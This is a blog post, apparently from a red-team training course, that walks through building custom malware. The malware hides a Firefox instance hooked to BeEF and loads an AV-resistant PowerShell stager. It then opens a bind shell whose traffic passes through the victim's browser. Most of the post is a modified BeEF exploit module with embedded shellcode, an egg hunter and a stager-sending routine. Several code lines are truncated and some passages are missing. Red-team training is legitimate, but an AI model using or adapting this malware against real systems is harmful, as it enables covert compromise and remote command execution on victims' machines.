Red Team Diary, Entry #3: Custom Malware Development (Establishing A Shell Through the Target's Browser)

Dimitrios Bougioukas
Nov 28 · 6 min read

Hi there,

This is Dimitrios Bougioukas, Director of IT Security Training Services at eLearnSecurity.

Our series of (red and blue team) posts continues with the third entry of the *Red Team Diary*. Everything you will read below is part of our Penetration Testing eXtreme course. A course oriented solely towards red team operations.

In this post I will demonstrate how you can develop your own custom malware that establishes a shell through the target's browser. We chose to abuse the target's browser so that any traffic back to us will look like legitimate web page browsing.

During our custom malware development activities we will repurpose BeEF's bind shellcode, modify BeEF's (0.4.7.0-alpha) backend and also leverage AutoIt.

BeEF Bind Shellcode Background

BeEF's bind shellcode is used to establish a shell through a target's browser. It was originally created for inter-protocol exploitation scenarios. This means the target should not only have specific software installed (where BeEF's bind shellcode exploits apply) but he/she should also install a malicious browser extension, which would bypass port banning, among other things. Too many requirements …

We will modify BeEF's Eudora Mail 3 exploit and create a variation of this attack, which applies on all social engineering cases and doesn't require any installed software or browser extension from the target. We will actually create and send a malicious executable that will inject the attack's stager into the target's memory. Then, we will manually send the attack's stage payload, using BeEF.
This way, we free ourselves from the requirement of specific software and a browser extension being installed on the target. Note that everything will occur from a single attack vector.

All the attack stages are depicted in the following diagram.

Our custom malware will perform the below steps:

[3a] Spawn a hidden Firefox instance that will automatically visit an attacker-controlled web page serving BeEF's hook.

browser

[5] Receive commands to be executed and send their result through the (hidden) hooked browser

Let's start developing our malware…

. . .

Step 1: The first step is to copy BeEF's bind shellcode modules from */beef/modules/exploits/beefbind/shellcode_sources/msf* to the appropriate Metasploit (MSF4) folders (on kali rolling you can find the Metasploit folders on */usr/share/Metasploit-framework/*…). This way you can use the Metasploit framework to not only generate BeEF bind shellcode stagers in multiple formats but also for re-encoding or removing bad characters.
Now, that BeEF's bind shellcode modules are inside Metasploit, you can create stagers in multiple formats, using numerous ways of encoding. We choose to use PowerShell and reflection in order to minimize the on-disk footprint (*psh-reflection* format).

More specifically:

All you have to do is follow the instructions placed in */beef/modules/exploits/beefbind/shellcode_sources/msf/instructions.txt*
With BeEF bind shellcode modules inside Metasploit, you can use msfvenom to create the attack's stager.
By executing the following command, you will create a PowerShell based BeEF bind shellcode stager, which is also A/V resistant since it leverages .NET's reflection capability. The *psh-reflection* format leverages .NET's reflection, so there is no need for a temporary .cs file to be dropped for dynamic compilation.

automating the Windows GUI and general scripting.

Once you install AutoIt, open a notepad and write the following AutoIt script. Then, save it as a .au3 file. Finally, right click on it and select “Compile Script (x86)”.

https://gist.github.com/anonymous/09f10cdb5d9b0bae4755850273083fd2

> *In this case we knew the target uses Firefox Developer Edition and that PowerShell v1 wasn’t uninstalled. As always detailed and thorough reconnaissance is key for stealthy Red Team Ops…*

The AutoIt script above performs the following:
1. Targets Firefox Developer Edition. On *$path* you should enter the Firefox’s path.

2. Uses the 32bit version of PowerShell v1 (*$path1*).

3. Spawns a Firefox browser and loads a web page using *ShellExecute*. Once Firefox is spawned, it is hidden in the background via the *WinWait* and *WinSetState* commands. Actually, those two commands instruct the target’s computer that whenever a window comes up with the title “Firefox Developer Edition” (the default title of Firefox Developer Edition), put it in the background and keep it running.

4. PowerShell is called using *ShellExecute* and the stager you created in Step 1 is loaded and executed in the target’s memory.

/beef/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/ and replace *command.js* with the following version of *command.js*.

```
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function () {
    var rhost = '<%= @rhost %>';
    var rport = '<%= @rport %>';
    var service_port = '<%= @service_port %>';
    var path = '<%= @path %>';
    var delay = parseInt('<%= @delay %>');

    var beef_host = '<%= @beef_host %>';
    var beef_port = '<%= @beef_port %>';
    var beef_proto = beef.net.httpproto;
    var beef_junk_port = '<%= @beef_junk_port %>';
    var sock_name = '<%= @beef_junk_socket %>';

    //todo: this will be obviously dynamic as soon as we'll have more IPEC exploits.
    var available_space = 769;

    // base64 decode function that works properly with binary data (like shellcode)
    var Base64Binary = {
        _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

        decode:function (input) {
            //get last chars to see if are valid
            var lkey1 = this._keyStr.indexOf(input.charAt(input.length - 1));
            var lkey2 = this._keyStr.indexOf(input.charAt(input.length - 1));

            var bytes = Math.ceil((3 * input.length) / 4.0);
            /**
             if (lkey1 == 64) bytes--; //padding chars, so skip
             if (lkey2 == 64) bytes--; //padding chars, so skip
             **/

            var uarray = [];
            var chr1, chr2, chr3;
```

```
            for (i = 0; i < bytes; i += 3) {
                //get the 3 octects in 4 ascii chars
                enc1 = this._keyStr.indexOf(input.charAt(j++));
                enc2 = this._keyStr.indexOf(input.charAt(j++));
                enc3 = this._keyStr.indexOf(input.charAt(j++));
                enc4 = this._keyStr.indexOf(input.charAt(j++));

                chr1 = (enc1 << 2) | (enc2 >> 4);
                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                chr3 = ((enc3 & 3) << 6) | enc4;

                uarray.push(chr1 & 0xff);
                if (enc3 != 64) uarray.push(chr2 & 0xff);
                if (enc4 != 64) uarray.push(chr3 & 0xff);
            }
            return uarray;
        }
    };


    /*
     * Ty's goodness. Slightly modified BeEF bind stager to work with the
     * Egg Hunter.
     *
     * Original size: 299 bytes
     * Final size: 326 bytes
     * BadChars removed: \x00\x0a\x0d\x20\x7b
     */
    var stager = "B33FB33F" +
        "\xba\x6a\x99\xf8\x25\xd9\xcc\xd9\x74\x24\xf4\x5e\x31\xc9" +
        "\xb1\x4b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x9f\x65" +
        "\x10\xac\x5f\x96\xe1\xcf\xd6\x73\xd0\xdd\x8c\xf0\x41\xd2" +
        "\xc7\x55\x6a\x99\x85\x4d\xf9\xef\x01\x61\x4a\x45\x77\x4c" +
        "\x4b\x6b\xb7\x02\x8f\xed\x4b\x59\xdc\xcd\x72\x92\x11\x0f" +
        "\xb3\xcf\xda\x5d\x6c\x9b\x49\x72\x19\xd9\x51\x73\xcd\x55" +
        "\xe9\x0b\x68\xa9\x9e\xa1\x73\xfa\x0f\xbd\x3b\xe2\x24\x99" +
        "\x9b\x13\xe8\xf9\xe7\x5a\x85\xca\x9c\x5c\x4f\x03\x5d\x6f" +
        "\xaf\xc8\x60\x5f\x22\x10\xa5\x58\xdd\x67\xdd\x9a\x60\x70" +
        "\x26\xe0\xbe\xf5\xba\x42\x34\xad\x1e\x72\x99\x28\xd5\x78" +
        "\x56\x3e\xb1\x9c\x69\x93\xca\x99\xe2\x12\x1c\x28\xb0\x30" +
        "\xb8\x70\x62\x58\x99\xdc\xc5\x65\xf9\xb9\xba\xc3\x72\x2b" +
```

```
92          "\xb2\xa8\x2e\x08\xef\x61\xb9\x04\xe6\xb6\xc6\x94\x2d\x95" +
93          "\x6b\x3c\xa5\x6e\x60\xf9\xd4\x70\xad\xa9\x81\xe7\x3b\x38" +
94          "\xe0\x96\x3c\x11\x41\x58\xd3\x9a\xb5\x33\x93\xc9\xe6\xa9" +
95          "\x13\x86\x50\x8a\x47\xb3\x9f\x07\xee\xfd\x35\xa8\xa2\x51" +
96          "\x9e\xc0\x46\x8b\xe8\x4e\xb8\xfe\xbf\x18\x80\x97\xb8\x8b" +
97          "\xf3\x4d\x47\x15\x6f\x03\x23\x57\x1b\xd8\xed\x4c\x16\x5d" +
98          "\x37\x96\x26\x84";
99
100     /*
101      * Ty's goodness. Original BeEF bind stage.
102      *
103      * Original size: 792 bytes
104      */
105     var stage_allow_origin =
106         "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b
107             "\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d
108             "\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0
109             "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1
110             "\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66
111             "\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51
112             "\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53\x6a\x00\x68\x58
113             "\x89\xc6\x68\x01\x00\x00\x00\x68\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68
114             "\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57
115             "\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1
116             "\x8d\x7c\x24\x14\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08
117             "\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68
118             "\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x89\xf7\x68\x63\x6d\x64
119             "\x24\x10\xff\x74\x24\x14\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd
120             "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56
121             "\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00\x00\x8d\x46\x08\xc6\x00\x00
122             "\xbe\x18\x04\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31
123             "\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20
124             "\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72
125             "\x6c\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e
126             "\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d\x0a\x5e\xb9
127             "\xa4\x5e\x56\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26
128             "\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50
129             "\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a
130             "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68
131             "\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89
132             "\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff\x36\x68\x02\xd9\xc8
133             "\x24\x64\xb9\x00\x04\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3
```

```
139                 "\x24\x70\x8b\x1b\x53\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00
140                 "\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6\x96\x87
141                 "\xfe\xff\xff";
142
143         // Skape's NtDisplayString egghunter technique, 32 bytes -> see also string T00W
144         /*
145          * Egg Hunter (Skape's NtDisplayString technique).
146          * Original size: 32 bytes
147          *
148          * Next SEH and SEH pointers
149          * Size: 8 bytes
150          */
151         var egg_hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74
152                          "\xef\xb8\x42\x33\x33\x46\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe
153         var next_seh   = "\xeb\x06\x90\x90";
154         var seh        = "\x4e\x3b\x01\x10";
155
156
157         gen_nops = function(count){
158             var i = 0;
159             var result = "";
160             while(i < count ){ result += "\x90";i++;}
161             log("gen_nops: generated " + result.length + " nops.");
162             return result;
163         };
164
165         /*
166          * send_stager_back():
167          * In order to properly calculate the exact size of the cross-domain request heade
168          * we send a bogus request back to BeEF (different port, so still cross-domain).
169          *
170          * get_junk_size():
171          * Then we retrieve the total size of the HTTP headers, as well as other specific
172          *
173          * calc_junk_size():
174          * Calculate the differences with the request that will be sent to the target, fo
175          * "Host: 172.16.67.1:2000\r\n"    //24 bytes
176          * "Host: 172.16.67.135:143\r\n"   //25 bytes
177          */
178         send_stager_back = function(){
179             var uri = "http://" + beef_host + ":" + beef_junk_port + "/";
180             var xhr = new XMLHttpRequest();
181             xhr.open("POST", uri, true);
```

```
    };

    var timeout_counter = 0;
    var timeout = 10;
    var size,host,contenttype,referer,nops = null;
    get_junk_size = function(){
        var junk_name = "";
        var uri = beef_proto + "://" + beef_host + ":" + beef_port + "/api/ipec/junk/"

        $j.ajax({
            type: "GET",
            url: uri,
            dataType: "json",
            success: function(data, textStatus, xhr){
                size = data.size;
                host = data.host;
                contenttype = data.contenttype;
                referer = data.referer;

                //todo to it better
                nops = data.nops;

                log("get_junk_size: OK - size [" + size + "] - host [" +
                    host + "] - contenttype [" + contenttype + "] - referer [" + refer
            },
            error: function(jqXHR, textStatus, errorThrown){
                timeout_counter++;
                // re-tries for 10 times (10 seconds)
                if (timeout_counter < timeout) {
                    log("get_junk_size: ERROR - no data yet. re-trying.");
                    setTimeout(function() {get_junk_size()},1000);
                }else{
                    log("get_junk_size: ERROR - timeout reached. giving up.");
                }
            }
        });

    };

    var final_junk_size = null;
    calc_junk_size = function(){

```

```
234                 if(new_host > host){
235                     var diff = new_host - host;
236                     final_junk_size += diff;
237                 }else{
238                     var diff = host - new_host;
239                     final_junk_size -= diff;
240                 }
241             }
242             log("get_junk_size: final_junk_size -> [" + final_junk_size + "]");
243 
244             //content-type "; charset=UTF-8" will not be present at the end, in the new re
245             if(contenttype > 26)
246                 final_junk_size -= 15;
247 
248             // referrer should be the same
249             // we can also override the UserAgent (deliovering the Firefox Extension). We
250             log("get_junk_size: final_junk_size -> [" + final_junk_size + "]");
251         };
252 
253         var stager_successfull = false;
254         send_stager = function(){
255 
256             try{
257                 xhr = new XMLHttpRequest();
258                 var uri = "http://" + rhost + ":" + service_port + path;
259                 log("send_stager: URI " + uri);
260                 xhr.open("POST", uri, true);
261                 xhr.setRequestHeader("Content-Type", "text/plain");
262 
263                 //todo: if for some reasons the headers are too big (bigger than 425 bytes
264                 // a warning should be displayed, because the exploit will not work, gives
265                 // space for the shellcode that we have.
266                 // The likelihood of this can be minimized thanks to the Firefox Extension
267                 // to disable PortBanning. We are also overriding the UserAgent, so we sav
268 
269                 var junk = available_space - stager.length - final_junk_size; // 22 bytes
270                 var junk_data = gen_nops(junk);
271 
272                 var payload = junk_data + stager + next_seh + seh + egg_hunter;
273                 var decoded_payload = Base64Binary.decode(btoa(payload));
274 
275                 var c = "";
```

```
281                 xhr.open("POST", uri, true);
282                 xhr.setRequestHeader("Content-Type", "text/plain");
283                 xhr.setRequestHeader('Accept','*/*');
284                 xhr.setRequestHeader("Accept-Language", "en");
285                 xhr.send("a001 LIST \r\n");
286                 // / needed to have the service replying before sending the actual exploi
287
288                 xhr.open("POST", uri, true);
289                 xhr.setRequestHeader("Content-Type", "text/plain");
290                 xhr.setRequestHeader('Accept','*/*');
291                 xhr.setRequestHeader("Accept-Language", "en");
292
293                 var post_body = "a001 LIST " + "}" + c + "}" + "\r\n";
294
295                 log("send_stager: Final body length [" + post_body.length + "]");
296
297                 // this is required only with WebKit browsers.
298                 if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Ar
299                     beef.debug("WebKit browser: Patched XmlHttpRequest to support sendAsBi
300                     XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
301                         function byteValue(x) {
302                             return x.charCodeAt(0) & 0xff;
303                         }
304                         var ords = Array.prototype.map.call(datastr, byteValue);
305                         var ui8a = new Uint8Array(ords);
306                         this.send(ui8a.buffer);
307                     }
308                 }
309
310                 xhr.sendAsBinary(post_body);
311                 log("send_stager: stager sent.");
312                 stager_successfull = true;
313             }catch(exception){
314                 beef.debug("!!! Exception: " + exception);
315                 // Check for PortBanning exceptions:
316                 //NS_ERROR_PORT_ACCESS_NOT_ALLOWED: Establishing a connection to an unsafe
317                 if(exception.toString().indexOf('NS_ERROR_PORT_ACCESS_NOT_ALLOWED') != -1)
318                     // not exactly needed but just in case
319                     stager_successfull =  false;
320                     log("Error: NS_ERROR_PORT_ACCESS_NOT_ALLOWED. Looks like PortBanning i
321                 }
322             }
323
```

```
329             var decoded_shellcode = Base64Binary.decode(btoa(stage_allow_origin));
330             var c = "";
331             for (var i = 0; i < decoded_shellcode.length; i++) {
332                 c += String.fromCharCode(decoded_shellcode[i] & 0xff);
333             }
334             var post_body = "cmd=" + c;
335             var uri = "http://" + rhost + ":" + rport + path;
336 
337             xhr = new XMLHttpRequest();
338             beef.debug("uri: " + uri);
339             xhr.open("POST", uri, true);
340             xhr.setRequestHeader("Content-Type", "text/plain");
341 
342             // this is required only with WebKit browsers.
343             if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Ar
344                 beef.debug("WebKit browser: Patched XmlHttpRequest to support sendAsBi
345                 XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
346                     function byteValue(x) {
347                         return x.charCodeAt(0) & 0xff;
348                     }
349                     var ords = Array.prototype.map.call(datastr, byteValue);
350                     var ui8a = new Uint8Array(ords);
351                     this.send(ui8a.buffer);
352                 }
353             }
354 
355             xhr.sendAsBinary(post_body);
356             log("deploy_stage: stage sent.\r\n You should be now able to use beef_binc
357 
358 
359     };
360 
361     log = function(data){
362         beef.net.send("<%= @command_url %>", <%= @command_id %>, data);
363         beef.debug(data);
364     };
365 
366 
367 /*
368 * To calculate exact HTTP header size we send a request back to BeEF, on a different s
369 * the cross-domain behavior.
370 */
```

Noteworthy - The Journal Blog

```
* The following timeouts should be enough with normal DSL lines.
* Increase delay value for slower clients.
*/
setTimeout("get_junk_size()", delay/2);
setTimeout("calc_junk_size()", delay);
```

https://gist.github.com/anonymous/a1befcd2a0acf8fed62aa854e05e0d88

The altered *command.js* above simply skips the *if(stager_successfull)* check of the original version and enables us to manually send the attack's stage payload. This will still work, since our own version of the attack's stager will make the target able to receive the stage payload. Be reminded that our attack lifecycle does not have any specific software or browser extension requirements.

. . .

The attack in action...

Once the target executes the AutoIt-derived executable, port 4444 will be bound on his machine and a hidden browser will load a web page with BeEF running underneath. Now, to send the attack's stage payload using BeEF perform the following:

Select the hooked browser and click on the *Commands* tab. Then on the *Module Tree*, click *Exploits*, *BeEF_bind* and *Eudora Mail 3*. On the *Target Host*, enter the target's internal IP (you can identify it using the two *Get Internal IP* modules of BeEF). On *BeEF Host* enter BeEF's IP, if you are delivering an internal penetration test, or the web page's domain name, if you are delivering an external penetration test. Also change *BeEF's port* if you have changed it through the *config.yaml*. Finally, click *Execute*. This will send the attack's stage payload on the target's 4444 port.

To send commands for execution on the target machine, on the *Module Tree*, click *Exploits*, *BeEF_bind* and *BeEF bind shell*. On *Target Host* enter the target's internal IP and on *Command*, enter the command you want to be executed and have its results returned through the target's browser. Finally, on *BeEF Bind Shellcode* choose Windows and click *Execute*.

Congrats! You established a stealthy shell through your target's browser!

• • •

Until next time, keep hacking …

. . .

Cybersecurity Hacking Malware Infosec Red Team

WRITTEN BY

Dimitrios Bougioukas

Director, IT Security Training Services @ eLearnSecurity

Noteworthy - The Journal Blog

The Official Journal Blog

Follow